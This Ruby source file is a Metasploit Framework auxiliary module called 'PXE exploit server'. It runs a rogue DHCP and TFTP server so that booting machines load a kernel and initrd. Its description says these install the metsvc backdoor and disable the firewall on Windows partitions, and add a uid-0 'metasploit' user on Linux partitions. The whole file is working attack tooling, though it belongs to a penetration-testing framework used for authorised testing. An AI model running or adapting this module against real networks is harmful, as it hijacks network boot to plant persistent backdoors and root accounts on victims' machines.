##
# $Id: pxexploit.rb 10393 2010-09-20 08:05:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::TFTPServer
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'        => 'PXE exploit server',
			'Version'     => '$Revision: 10393 $',
			'Description'    => %q{
				This module provides a PXE server, running a DHCP and TFTP server.
				The default configuration loads a linux kernel and initrd into memory that
				reads the hard drive; placing a payload to install metsvc and disable the
				firewall on any Windows partition seen, and add a uid 0 user with username
				metasploit and password metasploit to any linux partition seen.
			},
			'Author'      => [ 'scriptjunkie' ],
			'License'     => MSF_LICENSE,
			'Actions'     =>
				[
					[ 'Service' ]
				],
			'PassiveActions' =>
				[
					'Service'
				],
			'DefaultAction'  => 'Service'
		)

		register_options(
			[
				OptString.new('TFTPROOT',   [ false,  "The TFTP root directory to serve files from" ]),
				OptString.new('SRVHOST',   [ true,  "The IP of the DHCP server" ]),
				OptString.new('NETMASK',   [ true,  "The netmask of the local subnet" ]),
				OptString.new('DHCPIPSTART',   [ true,  "The first IP to give out" ]),
				OptString.new('DHCPIPEND',   [ true,  "The last IP to give out" ])
			], self.class)
	end

	def run
		if not datastore['TFTPROOT']
			datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
		end
		datastore['FILENAME'] = "update1"
		datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!

		print_status("Starting TFTP server...")
		@tftp = Rex::Proto::TFTP::Server.new
		@tftp.set_tftproot(datastore['TFTPROOT'])
		@tftp.start

		print_status("Starting DHCP server...")
		@dhcp = Rex::Proto::DHCP::Server.new( datastore )
		@dhcp.start

		# Wait for finish..
		@tftp.thread.join
		@dhcp.thread.join

	end

end
